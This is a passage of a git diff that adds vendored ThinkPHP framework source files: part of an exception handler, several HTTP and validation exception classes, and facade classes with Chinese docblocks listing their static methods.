getCode(Throwable $exception) + { + $code = $exception->getCode(); + + if (!$code && $exception instanceof ErrorException) { + $code = $exception->getSeverity(); + } + + return $code; + } + + /** + * 获取错误信息 + * ErrorException则使用错误级别作为错误编码 + * @access protected + * @param Throwable $exception + * @return string 错误信息 + */ + protected function getMessage(Throwable $exception): string + { + $message = $exception->getMessage(); + + if ($this->app->runningInConsole()) { + return $message; + } + + $lang = $this->app->lang; + + if (strpos($message, ':')) { + $name = strstr($message, ':', true); + $message = $lang->has($name) ? $lang->get($name) . strstr($message, ':') : $message; + } elseif (strpos($message, ',')) { + $name = strstr($message, ',', true); + $message = $lang->has($name) ? $lang->get($name) . ':' . substr(strstr($message, ','), 1) : $message; + } elseif ($lang->has($message)) { + $message = $lang->get($message); + } + + return $message; + } + + /** + * 获取出错文件内容 + * 获取错误的前9行和后9行 + * @access protected + * @param Throwable $exception + * @return array 错误文件内容 + */ + protected function getSourceCode(Throwable $exception): array + { + // 读取前9行和后9行 + $line = $exception->getLine(); + $first = ($line - 9 > 0) ? $line - 9 : 1; + + try { + $contents = file($exception->getFile()) ?: []; + $source = [ + 'first' => $first, + 'source' => array_slice($contents, $first - 1, 19), + ]; + } catch (Exception $e) { + $source = []; + } + + return $source; + } + + /** + * 获取异常扩展信息 + * 用于非调试模式html返回类型显示 + * @access protected + * @param Throwable $exception + * @return array 异常类定义的扩展数据 + */ + protected function getExtendData(Throwable $exception): array + { + $data = []; + + if ($exception instanceof \think\Exception) { + $data = $exception->getData(); + } + + return $data; + } + + /** + * 获取常量列表 + * @access protected + * @return array 常量列表 + */ + protected function getConst(): array + { + $const = get_defined_constants(true); + + return $const['user'] ?? []; + } +} diff --git a/vendor/topthink/framework/src/think/exception/HttpException.php b/vendor/topthink/framework/src/think/exception/HttpException.php new file mode 100644 index 0000000..74fabfc --- /dev/null +++ b/vendor/topthink/framework/src/think/exception/HttpException.php @@ -0,0 +1,42 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\exception; + +use Exception; + +/** + * HTTP异常 + */ +class HttpException extends \RuntimeException +{ + private $statusCode; + private $headers; + + public function __construct(int $statusCode, string $message = '', Exception $previous = null, array $headers = [], $code = 0) + { + $this->statusCode = $statusCode; + $this->headers = $headers; + + parent::__construct($message, $code, $previous); + } + + public function getStatusCode() + { + return $this->statusCode; + } + + public function getHeaders() + { + return $this->headers; + } +} diff --git a/vendor/topthink/framework/src/think/exception/HttpResponseException.php b/vendor/topthink/framework/src/think/exception/HttpResponseException.php new file mode 100644 index 0000000..759254c --- /dev/null +++ b/vendor/topthink/framework/src/think/exception/HttpResponseException.php @@ -0,0 +1,37 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\exception; + +use think\Response; + +/** + * HTTP响应异常 + */ +class HttpResponseException extends \RuntimeException +{ + /** + * @var Response + */ + protected $response; + + public function __construct(Response $response) + { + $this->response = $response; + } + + public function getResponse() + { + return $this->response; + } + +} diff --git a/vendor/topthink/framework/src/think/exception/InvalidArgumentException.php b/vendor/topthink/framework/src/think/exception/InvalidArgumentException.php new file mode 100644 index 0000000..d317278 --- /dev/null +++ b/vendor/topthink/framework/src/think/exception/InvalidArgumentException.php @@ -0,0 +1,22 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); +namespace think\exception; + +use Psr\Cache\InvalidArgumentException as Psr6CacheInvalidArgumentInterface; +use Psr\SimpleCache\InvalidArgumentException as SimpleCacheInvalidArgumentInterface; + +/** + * 非法数据异常 + */ +class InvalidArgumentException extends \InvalidArgumentException implements Psr6CacheInvalidArgumentInterface, SimpleCacheInvalidArgumentInterface +{ +} diff --git a/vendor/topthink/framework/src/think/exception/RouteNotFoundException.php b/vendor/topthink/framework/src/think/exception/RouteNotFoundException.php new file mode 100644 index 0000000..f50dff6 --- /dev/null +++ b/vendor/topthink/framework/src/think/exception/RouteNotFoundException.php @@ -0,0 +1,26 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\exception; + +/** + * 路由未定义异常 + */ +class RouteNotFoundException extends HttpException +{ + + public function __construct() + { + parent::__construct(404, 'Route Not Found'); + } + +} diff --git a/vendor/topthink/framework/src/think/exception/ValidateException.php b/vendor/topthink/framework/src/think/exception/ValidateException.php new file mode 100644 index 0000000..cc79e19 --- /dev/null +++ b/vendor/topthink/framework/src/think/exception/ValidateException.php @@ -0,0 +1,37 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\exception; + +/** + * 数据验证异常 + */ +class ValidateException extends \RuntimeException +{ + protected $error; + + public function __construct($error) + { + $this->error = $error; + $this->message = is_array($error) ? implode(PHP_EOL, $error) : $error; + } + + /** + * 获取验证错误信息 + * @access public + * @return array|string + */ + public function getError() + { + return $this->error; + } +} diff --git a/vendor/topthink/framework/src/think/facade/App.php b/vendor/topthink/framework/src/think/facade/App.php new file mode 100644 index 0000000..fe3de4d --- /dev/null +++ b/vendor/topthink/framework/src/think/facade/App.php @@ -0,0 +1,59 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\facade; + +use think\Facade; + +/** + * @see \think\App + * @package think\facade + * @mixin \think\App + * @method static \think\Service|null register(\think\Service|string $service, bool $force = false) 注册服务 + * @method static mixed bootService(\think\Service $service) 执行服务 + * @method static \think\Service|null getService(string|\think\Service $service) 获取服务 + * @method static \think\App debug(bool $debug = true) 开启应用调试模式 + * @method static bool isDebug() 是否为调试模式 + * @method static \think\App setNamespace(string $namespace) 设置应用命名空间 + * @method static string getNamespace() 获取应用类库命名空间 + * @method static string version() 获取框架版本 + * @method static string getRootPath() 获取应用根目录 + * @method static string getBasePath() 获取应用基础目录 + * @method static string getAppPath() 获取当前应用目录 + * @method static mixed setAppPath(string $path) 设置应用目录 + * @method static string getRuntimePath() 获取应用运行时目录 + * @method static void setRuntimePath(string $path) 设置runtime目录 + * @method static string getThinkPath() 获取核心框架目录 + * @method static string getConfigPath() 获取应用配置目录 + * @method static string getConfigExt() 获取配置后缀 + * @method static float getBeginTime() 获取应用开启时间 + * @method static integer getBeginMem() 获取应用初始内存占用 + * @method static \think\App initialize() 初始化应用 + * @method static bool initialized() 是否初始化过 + * @method static void loadLangPack(string $langset) 加载语言包 + * @method static void boot() 引导应用 + * @method static void loadEvent(array $event) 注册应用事件 + * @method static string parseClass(string $layer, string $name) 解析应用类的类名 + * @method static bool runningInConsole() 是否运行在命令行下 + */ +class App extends Facade +{ + /** + * 获取当前Facade对应类名(或者已经绑定的容器对象标识) + * @access protected + * @return string + */ + protected static function getFacadeClass() + { + return 'app'; + } +} diff --git a/vendor/topthink/framework/src/think/facade/Cache.php b/vendor/topthink/framework/src/think/facade/Cache.php new file mode 100644 index 0000000..425b370 --- /dev/null +++ b/vendor/topthink/framework/src/think/facade/Cache.php @@ -0,0 +1,48 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\facade; + +use think\Facade; +use think\cache\Driver; +use think\cache\TagSet; + +/** + * @see \think\Cache + * @package think\facade + * @mixin \think\Cache + * @method static string|null getDefaultDriver() 默认驱动 + * @method static mixed getConfig(null|string $name = null, mixed $default = null) 获取缓存配置 + * @method static array getStoreConfig(string $store, string $name = null, null $default = null) 获取驱动配置 + * @method static Driver store(string $name = null) 连接或者切换缓存 + * @method static bool clear() 清空缓冲池 + * @method static mixed get(string $key, mixed $default = null) 读取缓存 + * @method static bool set(string $key, mixed $value, int|\DateTime $ttl = null) 写入缓存 + * @method static bool delete(string $key) 删除缓存 + * @method static iterable getMultiple(iterable $keys, mixed $default = null) 读取缓存 + * @method static bool setMultiple(iterable $values, null|int|\DateInterval $ttl = null) 写入缓存 + * @method static bool deleteMultiple(iterable $keys) 删除缓存 + * @method static bool has(string $key) 判断缓存是否存在 + * @method static TagSet tag(string|array $name) 缓存标签 + */ +class Cache extends Facade +{ + /** + * 获取当前Facade对应类名(或者已经绑定的容器对象标识) + * @access protected + * @return string + */ + protected static function getFacadeClass() + { + return 'cache'; + } +} diff --git a/vendor/topthink/framework/src/think/facade/Config.php b/vendor/topthink/framework/src/think/facade/Config.php new file mode 100644 index 0000000..604414a --- /dev/null +++ b/vendor/topthink/framework/src/think/facade/Config.php @@ -0,0 +1,37 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\facade; + +use think\Facade; + +/** + * @see \think\Config + * @package think\facade + * @mixin \think\Config + * @method static array load(string $file, string $name = '') 加载配置文件(多种格式) + * @method static bool has(string $name) 检测配置是否存在 + * @method static mixed get(string $name = null, mixed $default = null) 获取配置参数 为空则获取所有配置 + * @method static array set(array $config, string $name = null) 设置配置参数 name为数组则为批量设置 + */ +class Config extends Facade +{ + /** + * 获取当前Facade对应类名(或者已经绑定的容器对象标识) + * @access protected + * @return string + */ + protected static function getFacadeClass() + { + return 'config'; + } +} diff --git a/vendor/topthink/framework/src/think/facade/Console.php b/vendor/topthink/framework/src/think/facade/Console.php new file mode 100644 index 0000000..0d953f2 --- /dev/null +++ b/vendor/topthink/framework/src/think/facade/Console.php @@ -0,0 +1,56 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\facade; + +use think\Facade; +use think\console\Command; +use think\console\Input; +use think\console\input\Definition as InputDefinition; +use think\console\Output; +use think\console\output\driver\Buffer; + +/** + * Class Console + * @package think\facade + * @mixin \think\Console + * @method static Output|Buffer call(string $command, array $parameters = [], string $driver = 'buffer') + * @method static int run() 执行当前的指令 + * @method static int doRun(Input $input, Output $output) 执行指令 + * @method static void setDefinition(InputDefinition $definition) 设置输入参数定义 + * @method static InputDefinition The InputDefinition instance getDefinition() 获取输入参数定义 + * @method static string A help message. getHelp() Gets the help message. + * @method static void setCatchExceptions(bool $boolean) 是否捕获异常 + * @method static void setAutoExit(bool $boolean) 是否自动退出 + * @method static string getLongVersion() 获取完整的版本号 + * @method static void addCommands(array $commands) 添加指令集 + * @method static Command|void addCommand(string|Command $command, string $name = '') 添加一个指令 + * @method static Command getCommand(string $name) 获取指令 + * @method static bool hasCommand(string $name) 某个指令是否存在 + * @method static array getNamespaces() 获取所有的命名空间 + * @method static string findNamespace(string $namespace) 查找注册命名空间中的名称或缩写。 + * @method static Command find(string $name) 查找指令 + * @method static Command[] all(string $namespace = null) 获取所有的指令 + * @method static string extractNamespace(string $name, int $limit = 0) 返回命名空间部分 + */ +class Console extends Facade +{ + /** + * 获取当前Facade对应类名(或者已经绑定的容器对象标识) + * @access protected + * @return string + */ + protected static function getFacadeClass() + { + return 'console'; + } +} diff --git a/vendor/topthink/framework/src/think/facade/Cookie.php b/vendor/topthink/framework/src/think/facade/Cookie.php new file mode 100644 index 0000000..b2956f8 --- /dev/null +++ b/vendor/topthink/framework/src/think/facade/Cookie.php @@ -0,0 +1,40 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\facade; + +use think\Facade; + +/** + * @see \think\Cookie + * @package think\facade + * @mixin \think\Cookie + * @method static mixed get(mixed $name = '', string $default = null) 获取cookie + * @method static bool has(string $name) 是否存在Cookie参数 + * @method static void set(string $name, string $value, mixed $option = null) Cookie 设置 + * @method static void forever(string $name, string $value = '', mixed $option = null) 永久保存Cookie数据 + * @method static void delete(string $name) Cookie删除 + * @method static array getCookie() 获取cookie保存数据 + * @method static void save() 保存Cookie + */ +class Cookie extends Facade +{ + /** + * 获取当前Facade对应类名(或者已经绑定的容器对象标识) + * @access protected + * @return string + */ + protected static function getFacadeClass() + { + return 'cookie'; + } +} diff --git a/vendor/topthink/framework/src/think/facade/Env.php b/vendor/topthink/framework/src/think/facade/Env.php new file mode 100644 index 0000000..721881d --- /dev/null +++ b/vendor/topthink/framework/src/think/facade/Env.php @@ -0,0 +1,44 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\facade; + +use think\Facade; + +/** + * @see \think\Env + * @package think\facade + * @mixin \think\Env + * @method static void load(string $file) 读取环境变量定义文件 + * @method static mixed get(string $name = null, mixed $default = null) 获取环境变量值 + * @method static void set(string|array $env, mixed $value = null) 设置环境变量值 + * @method static bool has(string $name) 检测是否存在环境变量 + * @method static void __set(string $name, mixed $value) 设置环境变量 + * @method static mixed __get(string $name) 获取环境变量 + * @method static bool __isset(string $name) 检测是否存在环境变量 + * @method static void offsetSet($name, $value) + * @method static bool offsetExists($name) + * @method static mixed offsetUnset($name) + * @method static mixed offsetGet($name) + */ +class Env extends Facade +{ + /** + * 获取当前Facade对应类名(或者已经绑定的容器对象标识) + * @access protected + * @return string + */ + protected static function getFacadeClass() + { + return 'env'; + } +} diff --git a/vendor/topthink/framework/src/think/facade/Event.php b/vendor/topthink/framework/src/think/facade/Event.php new file mode 100644 index 0000000..c65690b --- /dev/null +++ b/vendor/topthink/framework/src/think/facade/Event.php @@ -0,0 +1,42 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\facade; + +use think\Facade; + +/** + * @see \think\Event + * @package think\facade + * @mixin \think\Event + * @method static \think\Event listenEvents(array $events) 批量注册事件监听 + * @method static \think\Event listen(string $event, mixed $listener, bool $first = false) 注册事件监听 + * @method static bool hasListener(string $event) 是否存在事件监听 + * @method static void remove(string $event) 移除事件监听 + * @method static \think\Event bind(array $events) 指定事件别名标识 便于调用 + * @method static \think\Event subscribe(mixed $subscriber) 注册事件订阅者 + * @method static \think\Event observe(string|object $observer, null|string $prefix = '') 自动注册事件观察者 + * @method static mixed trigger(string|object $event, mixed $params = null, bool $once = false) 触发事件 + * @method static mixed until($event, $params = null) 触发事件(只获取一个有效返回值) + */ +class Event extends Facade +{ + /** + * 获取当前Facade对应类名(或者已经绑定的容器对象标识) + * @access protected + * @return string + */ + protected static function getFacadeClass() + { + return 'event'; + } +} diff --git a/vendor/topthink/framework/src/think/facade/Filesystem.php b/vendor/topthink/framework/src/think/facade/Filesystem.php new file mode 100644 index 0000000..ac0223a --- /dev/null +++ b/vendor/topthink/framework/src/think/facade/Filesystem.php @@ -0,0 +1,33 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\facade; + +use think\Facade; +use think\filesystem\Driver; + +/** + * Class Filesystem + * @package think\facade + * @mixin \think\Filesystem + * @method static Driver disk(string $name = null) ,null|string + * @method static mixed getConfig(null|string $name = null, mixed $default = null) 获取缓存配置 + * @method static array getDiskConfig(string $disk, null $name = null, null $default = null) 获取磁盘配置 + * @method static string|null getDefaultDriver() 默认驱动 + */ +class Filesystem extends Facade +{ + protected static function getFacadeClass() + { + return 'filesystem'; + } +} diff --git a/vendor/topthink/framework/src/think/facade/Lang.php b/vendor/topthink/framework/src/think/facade/Lang.php new file mode 100644 index 0000000..fa5c691 --- /dev/null +++ b/vendor/topthink/framework/src/think/facade/Lang.php @@ -0,0 +1,41 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\facade; + +use think\Facade; + +/** + * @see \think\Lang + * @package think\facade + * @mixin \think\Lang + * @method static void setLangSet(string $lang) 设置当前语言 + * @method static string getLangSet() 获取当前语言 + * @method static string defaultLangSet() 获取默认语言 + * @method static array load(string|array $file, string $range = '') 加载语言定义(不区分大小写) + * @method static bool has(string|null $name, string $range = '') 判断是否存在语言定义(不区分大小写) + * @method static mixed get(string|null $name = null, array $vars = [], string $range = '') 获取语言定义(不区分大小写) + * @method static string detect(\think\Request $request) 自动侦测设置获取语言选择 + * @method static void saveToCookie(\think\Cookie $cookie) 保存当前语言到Cookie + */ +class Lang extends Facade +{ + /** + * 获取当前Facade对应类名(或者已经绑定的容器对象标识) + * @access protected + * @return string + */ + protected static function getFacadeClass() + { + return 'lang'; + } +} diff --git a/vendor/topthink/framework/src/think/facade/Log.php b/vendor/topthink/framework/src/think/facade/Log.php new file mode 100644 index 0000000..eaf104d --- /dev/null +++ b/vendor/topthink/framework/src/think/facade/Log.php @@ -0,0 +1,58 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\facade; + +use think\Facade; +use think\log\Channel; +use think\log\ChannelSet; + +/** + * @see \think\Log + * @package think\facade + * @mixin \think\Log + * @method static string|null getDefaultDriver() 默认驱动 + * @method static mixed getConfig(null|string $name = null, mixed $default = null) 获取日志配置 + * @method static array getChannelConfig(string $channel, null $name = null, null $default = null) 获取渠道配置 + * @method static Channel|ChannelSet channel(string|array $name = null) driver() 的别名 + * @method static mixed createDriver(string $name) + * @method static \think\Log clear(string|array $channel = '*') 清空日志信息 + * @method static \think\Log close(string|array $channel = '*') 关闭本次请求日志写入 + * @method static array getLog(string $channel = null) 获取日志信息 + * @method static bool save() 保存日志信息 + * @method static \think\Log record(mixed $msg, string $type = 'info', array $context = [], bool $lazy = true) 记录日志信息 + * @method static \think\Log write(mixed $msg, string $type = 'info', array $context = []) 实时写入日志信息 + * @method static Event listen($listener) 注册日志写入事件监听 + * @method static void log(string $level, mixed $message, array $context = []) 记录日志信息 + * @method static void emergency(mixed $message, array $context = []) 记录emergency信息 + * @method static void alert(mixed $message, array $context = []) 记录警报信息 + * @method static void critical(mixed $message, array $context = []) 记录紧急情况 + * @method static void error(mixed $message, array $context = []) 记录错误信息 + * @method static void warning(mixed $message, array $context = []) 记录warning信息 + * @method static void notice(mixed $message, array $context = []) 记录notice信息 + * @method static void info(mixed $message, array $context = []) 记录一般信息 + * @method static void debug(mixed $message, array $context = []) 记录调试信息 + * @method static void sql(mixed $message, array $context = []) 记录sql信息 + * @method static mixed __call($method, $parameters) + */ +class Log extends Facade +{ + /** + * 获取当前Facade对应类名(或者已经绑定的容器对象标识) + * @access protected + * @return string + */ + protected static function getFacadeClass() + { + return 'log'; + } +} diff --git a/vendor/topthink/framework/src/think/facade/Middleware.php b/vendor/topthink/framework/src/think/facade/Middleware.php new file mode 100644 index 0000000..6f1eac5 --- /dev/null +++ b/vendor/topthink/framework/src/think/facade/Middleware.php @@ -0,0 +1,42 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\facade; + +use think\Facade; + +/** + * @see \think\Middleware + * @package think\facade + * @mixin \think\Middleware + * @method static void import(array $middlewares = [], string $type = 'global') 导入中间件 + * @method static void add(mixed $middleware, string $type = 'global') 注册中间件 + * @method static void route(mixed $middleware) 注册路由中间件 + * @method static void controller(mixed $middleware) 注册控制器中间件 + * @method static mixed unshift(mixed $middleware, string $type = 'global') 注册中间件到开始位置 + * @method static array all(string $type = 'global') 获取注册的中间件 + * @method static Pipeline pipeline(string $type = 'global') 调度管道 + * @method static mixed end(\think\Response $response) 结束调度 + * @method static \think\Response handleException(\think\Request $passable, \Throwable $e) 异常处理 + */ +class Middleware extends Facade +{ + /** + * 获取当前Facade对应类名(或者已经绑定的容器对象标识) + * @access protected + * @return string + */ + protected static function getFacadeClass() + { + return 'middleware'; + } +} diff --git a/vendor/topthink/framework/src/think/facade/Request.php b/vendor/topthink/framework/src/think/facade/Request.php new file mode 100644 index 0000000..7c3b180 --- /dev/null +++ b/vendor/topthink/framework/src/think/facade/Request.php @@ -0,0 +1,134 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\facade; + +use think\Facade; +use think\file\UploadedFile; +use think\route\Rule; + +/** + * @see \think\Request + * @package think\facade + * @mixin \think\Request + * @method static \think\Request setDomain(string $domain) 设置当前包含协议的域名 + * @method static string domain(bool $port = false) 获取当前包含协议的域名 + * @method static string rootDomain() 获取当前根域名 + * @method static \think\Request setSubDomain(string $domain) 设置当前泛域名的值 + * @method static string subDomain() 获取当前子域名 + * @method static \think\Request setPanDomain(string $domain) 设置当前泛域名的值 + * @method static string panDomain() 获取当前泛域名的值 + * @method static \think\Request setUrl(string $url) 设置当前完整URL 包括QUERY_STRING + * @method static string url(bool $complete = false) 获取当前完整URL 包括QUERY_STRING + * @method static \think\Request setBaseUrl(string $url) 设置当前URL 不含QUERY_STRING + * @method static string baseUrl(bool $complete = false) 获取当前URL 不含QUERY_STRING + * @method static string baseFile(bool $complete = false) 获取当前执行的文件 SCRIPT_NAME + * @method static \think\Request setRoot(string $url) 设置URL访问根地址 + * @method static string root(bool $complete = false) 获取URL访问根地址 + * @method static string rootUrl() 获取URL访问根目录 + * @method static \think\Request setPathinfo(string $pathinfo) 设置当前请求的pathinfo + * @method static string pathinfo() 获取当前请求URL的pathinfo信息(含URL后缀) + * @method static string ext() 当前URL的访问后缀 + * @method static integer|float time(bool $float = false) 获取当前请求的时间 + * @method static string type() 当前请求的资源类型 + * @method static void mimeType(string|array $type, string $val = '') 设置资源类型 + * @method static \think\Request setMethod(string $method) 设置请求类型 + * @method static string method(bool $origin = false) 当前的请求类型 + * @method static bool isGet() 是否为GET请求 + * @method static bool isPost() 是否为POST请求 + * @method static bool isPut() 是否为PUT请求 + * @method static bool isDelete() 是否为DELTE请求 + * @method static bool isHead() 是否为HEAD请求 + * @method static bool isPatch() 是否为PATCH请求 + * @method static bool isOptions() 是否为OPTIONS请求 + * @method static bool isCli() 是否为cli + * @method static bool isCgi() 是否为cgi + * @method static mixed param(string|array $name = '', mixed $default = null, string|array $filter = '') 获取当前请求的参数 + * @method static \think\Request setRule(Rule $rule) 设置路由变量 + * @method static Rule|null rule() 获取当前路由对象 + * @method static \think\Request setRoute(array $route) 设置路由变量 + * @method static mixed route(string|array $name = '', mixed $default = null, string|array $filter = '') 获取路由参数 + * @method static mixed get(string|array $name = '', mixed $default = null, string|array $filter = '') 获取GET参数 + * @method static mixed middleware(mixed $name, mixed $default = null) 获取中间件传递的参数 + * @method static mixed post(string|array $name = '', mixed $default = null, string|array $filter = '') 获取POST参数 + * @method static mixed put(string|array $name = '', mixed $default = null, string|array $filter = '') 获取PUT参数 + * @method static mixed delete(mixed $name = '', mixed $default = null, string|array $filter = '') 设置获取DELETE参数 + * @method static mixed patch(mixed $name = '', mixed $default = null, string|array $filter = '') 设置获取PATCH参数 + * @method static mixed request(string|array $name = '', mixed $default = null, string|array $filter = '') 获取request变量 + * @method static mixed env(string $name = '', string $default = null) 获取环境变量 + * @method static mixed session(string $name = '', string $default = null) 获取session数据 + * @method static mixed cookie(mixed $name = '', string $default = null, string|array $filter = '') 获取cookie参数 + * @method static mixed server(string $name = '', string $default = '') 获取server参数 + * @method static null|array|UploadedFile file(string $name = '') 获取上传的文件信息 + * @method static string|array header(string $name = '', string $default = null) 设置或者获取当前的Header + * @method static mixed input(array $data = [], string|false $name = '', mixed $default = null, string|array $filter = '') 获取变量 支持过滤和默认值 + * @method static mixed filter(mixed $filter = null) 设置或获取当前的过滤规则 + * @method static mixed filterValue(mixed &$value, mixed $key, array $filters) 递归过滤给定的值 + * @method static bool has(string $name, string $type = 'param', bool $checkEmpty = false) 是否存在某个请求参数 + * @method static array only(array $name, mixed $data = 'param', string|array $filter = '') 获取指定的参数 + * @method static mixed except(array $name, string $type = 'param') 排除指定参数获取 + * @method static bool isSsl() 当前是否ssl + * @method static bool isJson() 当前是否JSON请求 + * @method static bool isAjax(bool $ajax = false) 当前是否Ajax请求 + * @method static bool isPjax(bool $pjax = false) 当前是否Pjax请求 + * @method static string ip() 获取客户端IP地址 + * @method static boolean isValidIP(string $ip, string $type = '') 检测是否是合法的IP地址 + * @method static string ip2bin(string $ip) 将IP地址转换为二进制字符串 + * @method static bool isMobile() 检测是否使用手机访问 + * @method static string scheme() 当前URL地址中的scheme参数 + * @method static string query() 当前请求URL地址中的query参数 + * @method static \think\Request setHost(string $host) 设置当前请求的host(包含端口) + * @method static string host(bool $strict = false) 当前请求的host + * @method static int port() 当前请求URL地址中的port参数 + * @method static string protocol() 当前请求 SERVER_PROTOCOL + * @method static int remotePort() 当前请求 REMOTE_PORT + * @method static string contentType() 当前请求 HTTP_CONTENT_TYPE + * @method static string secureKey() 获取当前请求的安全Key + * @method static \think\Request setController(string $controller) 设置当前的控制器名 + * @method static \think\Request setAction(string $action) 设置当前的操作名 + * @method static string controller(bool $convert = false) 获取当前的控制器名 + * @method static string action(bool $convert = false) 获取当前的操作名 + * @method static string getContent() 设置或者获取当前请求的content + * @method static string getInput() 获取当前请求的php://input + * @method static string buildToken(string $name = '__token__', mixed $type = 'md5') 生成请求令牌 + * @method static bool checkToken(string $token = '__token__', array $data = []) 检查请求令牌 + * @method static \think\Request withMiddleware(array $middleware) 设置在中间件传递的数据 + * @method static \think\Request withGet(array $get) 设置GET数据 + * @method static \think\Request withPost(array $post) 设置POST数据 + * @method static \think\Request withCookie(array $cookie) 设置COOKIE数据 + * @method static \think\Request withSession(Session $session) 设置SESSION数据 + * @method static \think\Request withServer(array $server) 设置SERVER数据 + * @method static \think\Request withHeader(array $header) 设置HEADER数据 + * @method static \think\Request withEnv(Env $env) 设置ENV数据 + * @method static \think\Request withInput(string $input) 设置php://input数据 + * @method static \think\Request withFiles(array $files) 设置文件上传数据 + * @method static \think\Request withRoute(array $route) 设置ROUTE变量 + * @method static mixed __set(string $name, mixed $value) 设置中间传递数据 + * @method static mixed __get(string $name) 获取中间传递数据的值 + * @method static boolean __isset(string $name) 检测中间传递数据的值 + * @method static bool offsetExists($name) + * @method static mixed offsetGet($name) + * @method static mixed offsetSet($name, $value) + * @method static mixed offsetUnset($name) + */ +class Request extends Facade +{ + /** + * 获取当前Facade对应类名(或者已经绑定的容器对象标识) + * @access protected + * @return string + */ + protected static function getFacadeClass() + { + return 'request'; + } +} diff --git a/vendor/topthink/framework/src/think/facade/Route.php b/vendor/topthink/framework/src/think/facade/Route.php new file mode 100644 index 0000000..24ad3c8 --- /dev/null +++ b/vendor/topthink/framework/src/think/facade/Route.php @@ -0,0 +1,83 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\facade; + +use think\Facade; +use think\route\Dispatch; +use think\route\Domain; +use think\route\Rule; +use think\route\RuleGroup; +use think\route\RuleItem; +use think\route\RuleName; +use think\route\Url as UrlBuild; + +/** + * @see \think\Route + * @package think\facade + * @mixin \think\Route + * @method static mixed config(string $name = null) + * @method static \think\Route lazy(bool $lazy = true) 设置路由域名及分组(包括资源路由)是否延迟解析 + * @method static void setTestMode(bool $test) 设置路由为测试模式 + * @method static bool isTest() 检查路由是否为测试模式 + * @method static \think\Route mergeRuleRegex(bool $merge = true) 设置路由域名及分组(包括资源路由)是否合并解析 + * @method static void setGroup(RuleGroup $group) 设置当前分组 + * @method static RuleGroup getGroup(string $name = null) 获取指定标识的路由分组 不指定则获取当前分组 + * @method static \think\Route pattern(array $pattern) 注册变量规则 + * @method static \think\Route option(array $option) 注册路由参数 + * @method static Domain domain(string|array $name, mixed $rule = null) 注册域名路由 + * @method static array getDomains() 获取域名 + * @method static RuleName getRuleName() 获取RuleName对象 + * @method static \think\Route bind(string $bind, string $domain = null) 设置路由绑定 + * @method static array getBind() 读取路由绑定信息 + * @method static string|null getDomainBind(string $domain = null) 读取路由绑定 + * @method static RuleItem[] getName(string $name = null, string $domain = null, string $method = '*') 读取路由标识 + * @method static void import(array $name) 批量导入路由标识 + * @method static void setName(string $name, RuleItem $ruleItem, bool $first = false) 注册路由标识 + * @method static void setRule(string $rule, RuleItem $ruleItem = null) 保存路由规则 + * @method static RuleItem[] getRule(string $rule) 读取路由 + * @method static array getRuleList() 读取路由列表 + * @method static void clear() 清空路由规则 + * @method static RuleItem rule(string $rule, mixed $route = null, string $method = '*') 注册路由规则 + * @method static \think\Route setCrossDomainRule(Rule $rule, string $method = '*') 设置跨域有效路由规则 + * @method static RuleGroup group(string|\Closure $name, mixed $route = null) 注册路由分组 + * @method static RuleItem any(string $rule, mixed $route) 注册路由 + * @method static RuleItem get(string $rule, mixed $route) 注册GET路由 + * @method static RuleItem post(string $rule, mixed $route) 注册POST路由 + * @method static RuleItem put(string $rule, mixed $route) 注册PUT路由 + * @method static RuleItem delete(string $rule, mixed $route) 注册DELETE路由 + * @method static RuleItem patch(string $rule, mixed $route) 注册PATCH路由 + * @method static RuleItem options(string $rule, mixed $route) 注册OPTIONS路由 + * @method static Resource resource(string $rule, string $route) 注册资源路由 + * @method static RuleItem view(string $rule, string $template = '', array $vars = []) 注册视图路由 + * @method static RuleItem redirect(string $rule, string $route = '', int $status = 301) 注册重定向路由 + * @method static \think\Route rest(string|array $name, array|bool $resource = []) rest方法定义和修改 + * @method static array|null getRest(string $name = null) 获取rest方法定义的参数 + * @method static RuleItem miss(string|Closure $route, string $method = '*') 注册未匹配路由规则后的处理 + * @method static Response dispatch(\think\Request $request, Closure|bool $withRoute = true) 路由调度 + * @method static Dispatch|false check() 检测URL路由 + * @method static Dispatch url(string $url) 默认URL解析 + * @method static UrlBuild buildUrl(string $url = '', array $vars = []) URL生成 支持路由反射 + * @method static RuleGroup __call(string $method, array $args) 设置全局的路由分组参数 + */ +class Route extends Facade +{ + /** + * 获取当前Facade对应类名(或者已经绑定的容器对象标识) + * @access protected + * @return string + */ + protected static function getFacadeClass() + { + return 'route'; + } +} diff --git a/vendor/topthink/framework/src/think/facade/Session.php b/vendor/topthink/framework/src/think/facade/Session.php new file mode 100644 index 0000000..33cbf63 --- /dev/null +++ b/vendor/topthink/framework/src/think/facade/Session.php @@ -0,0 +1,35 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\facade; + +use think\Facade; + +/** + * @see \think\Session + * @package think\facade + * @mixin \think\Session + * @method static mixed getConfig(null|string $name = null, mixed $default = null) 获取Session配置 + * @method static string|null getDefaultDriver() 默认驱动 + */ +class Session extends Facade +{ + /** + * 获取当前Facade对应类名(或者已经绑定的容器对象标识) + * @access protected + * @return string + */ + protected static function getFacadeClass() + { + return 'session'; + } +} diff --git a/vendor/topthink/framework/src/think/facade/Validate.php b/vendor/topthink/framework/src/think/facade/Validate.php new file mode 100644 index 0000000..133116d --- /dev/null +++ b/vendor/topthink/framework/src/think/facade/Validate.php @@ -0,0 +1,95 @@ + +// 